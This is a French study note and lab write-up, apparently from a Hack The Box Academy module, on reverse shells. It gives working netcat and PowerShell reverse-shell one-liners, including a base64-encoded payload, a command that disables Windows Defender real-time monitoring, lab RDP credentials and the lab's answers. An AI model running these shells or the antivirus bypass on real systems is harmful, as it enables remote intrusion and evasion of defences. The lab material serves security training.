Reverse Shells
đ DĂ©finition
Un reverse shell (ou shell inversĂ©) est un type de connexion oĂč la cible (machine compromise) initie une connexion vers l'attaquant, plutĂŽt que l'inverse. Dans ce scĂ©nario, l'attaquant dĂ©marre un "listener" sur sa machine, en attente de connexions entrantes, tandis que la cible Ă©tablit la connexion et lui fournit un accĂšs en ligne de commande.
Contrairement aux bind shells, les reverse shells sont souvent plus réalistes en environnement réel, car les pare-feux sont en général plus permissifs sur les connexions sortantes.
đŻ Exemple typique
Attaquant :
<IP ATTAQUANT>
Cible :
<IP CIBLE>
Port d'écoute : 1337
Sur l'attaquant :
nc -lvnp 1337
Sur la cible (reverse vers l'attaquant) :
nc <IP ATTAQUANT> 1337 -e /bin/bash
Ici, la cible contacte l'attaquant, en lui offrant un shell. L'attaquant devient alors le "serveur", et la cible le "client".

đ Pourquoi utiliser un Reverse Shell ?
đ Contournement des pare-feux : les connexions sortantes sont rarement filtrĂ©es.
đ”ïž Moins de suspicion : les connexions vers l'extĂ©rieur sont moins surveillĂ©es.
đ§± Bind shell difficile Ă mettre en place** : les ports entrants peuvent ĂȘtre bloquĂ©s par dĂ©faut.
Un reverse shell est souvent exploité aprÚs une vulnérabilité de type upload de fichier malveillant, injection de commande, ou autre.
đ Outils et ressources utiles
Pas besoin de tout réécrire à chaque fois :
Reverse Shell Cheat Sheet : référence trÚs utile avec les commandes selon le langage/systÚme.
Outils de génération automatique :
msfvenom
,sRDI
,nishang
, etc.
â ïž Attention : les dĂ©fenseurs connaissent ces outils publics et adaptent souvent leurs systĂšmes de dĂ©tection en consĂ©quence. Il peut ĂȘtre nĂ©cessaire de personnaliser son payload.
đ» Cas pratique : Reverse Shell sur Windows avec PowerShell
1. Ăcoute cĂŽtĂ© attaquant (port commun)
sudo nc -lvnp 443
Le port 443 est souvent utilisé pour du HTTPS, ce qui le rend peu suspect dans le trafic sortant. Cela permet de contourner certains firewalls basiques.
2. Payload PowerShell à exécuter sur la cible
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<IP ATTAQUANT>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Ce code PowerShell permet à la cible d'établir une connexion à l'attaquant, avec une interface en ligne de commande.
3. Blocage par l'antivirus
Lors de l'exécution du script, Windows Defender peut le bloquer automatiquement :
This script contains malicious content and has been blocked by your antivirus software.
4. Contournement (pour les tests uniquement)
Désactiver temporairement l'antivirus :
Set-MpPreference -DisableRealtimeMonitoring $true
Une fois la protection en temps rĂ©el dĂ©sactivĂ©e, le script PowerShell peut ĂȘtre relancĂ© pour Ă©tablir la connexion.
5. Shell reçu cÎté attaquant
Connection received on <IP CIBLE> <port>
PS C:\Users\htb-student> whoami
ws01\htb-student
đ§ Points de vigilance
â Netcat non prĂ©sent nativement sur Windows : obligation de transfĂ©rer un binaire.
đ PrĂ©fĂ©rer les outils natifs (Living off the Land) : PowerShell, certutil, etc.
đĄ AV et EDR : peuvent bloquer les scripts connus, mĂȘme sur des ports "sĂ»rs" comme 443.
đ Ressources utiles
â
Ă retenir
Un reverse shell permet Ă l'attaquant de recevoir une connexion de la cible.
Il est souvent plus efficace en environnement réel car il contourne les limitations réseau classiques.
Il existe de nombreux outils pour générer ou personnaliser des reverse shells.
Sur Windows, PowerShell est un outil redoutable pour cette tĂąche.
Les protections comme l'antivirus ou l'EDR peuvent nécessiter des contournements avancés.
When establishing a reverse shell session with a target, will the target act as a client or server?
Lors de la connexion d'un reverse shell sur notre cible, cette derniÚre sera considérée comme client
.
Connect to the target via RDP and establish a reverse shell session with your attack box then submit the hostname of the target box.
Dans un premier temps, nous utilisons le site revshells.com afin de générer un reverse shell powershell pour pouvoir l'executer par la suite sur notre cible pour effectuer une connexion à distance :
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA3ADEAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
Nous intégrons ce script dans le fichier script.ps1
.
Une fois le ficher créé, nous avons lancé un serveur web à l'emplacement de notre fichier script.ps1
:
python3 -m http.server 8080
Une fois ce serveur lancé, nous mettons en écoute le port présent dans notre script powershell (4444
) :
$ nc -lvnp 4444
listening on [any] 4444 ...
Une fois le port mis en écoute, nous nous connectons en RDP à notre cible à l'aide des identifiants fournis dans l'énoncé :
xfreerdp /v:10.129.201.51 /u:htb-student /p:HTB_@cademy_stdnt!
Une fois connectés à notre cible, nous ouvrons PowerShell, récupérons le fichier script.ps1
présent sur notre poste attaquant et nous l'exécutons afin d'établir une connexion via le reverse shell configuré sur le port d'écoute 4444
:

Une fois le script téléchargé et exécuté, nous pouvons observer sur notre poste attaquant la connexion effective de notre cible sur le port 4444
via notre reverse shell :
connect to [10.10.14.171] from (UNKNOWN) [10.129.201.51] 49875
PS C:\Users\htb-student>
Une fois la connexion réalisée, nous récupérons le nom de la machine afin de répondre à la question :
PS C:\Users\htb-student> hostname
Shells-Win10
Le nom associé à notre cible est donc Shells-Win10
.
Mis Ă jour